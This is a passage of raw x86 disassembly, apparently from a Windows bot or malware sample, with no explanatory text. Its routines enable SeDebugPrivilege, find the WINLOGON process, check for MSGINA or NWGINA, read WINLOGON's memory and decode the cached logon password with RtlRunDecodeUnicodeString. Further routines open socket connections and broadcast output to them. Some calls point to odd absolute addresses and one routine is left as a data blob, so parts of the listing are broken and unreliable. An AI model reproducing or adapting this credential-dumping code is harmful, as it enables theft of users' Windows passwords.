		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78EC6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78CC68FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 3068FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9559E890h, 75FF0231h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437914h
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 90FAE856h, 85900233h, 56B175C0h, 94D5E890h
		dd 458B0231h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B08
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A44
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A2C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379D0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437998
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43796C


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780000h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437938


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2670358h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27B0219h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27A0CB8h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 27405D5h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26507ADh
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2670358h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B0219h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0CB8h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2790000h
		nop
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26507ADh


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26507ADh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B54
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27A0C4Bh
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B54
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BA4
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	near ptr 27A0C4Bh
		nop
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA34 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
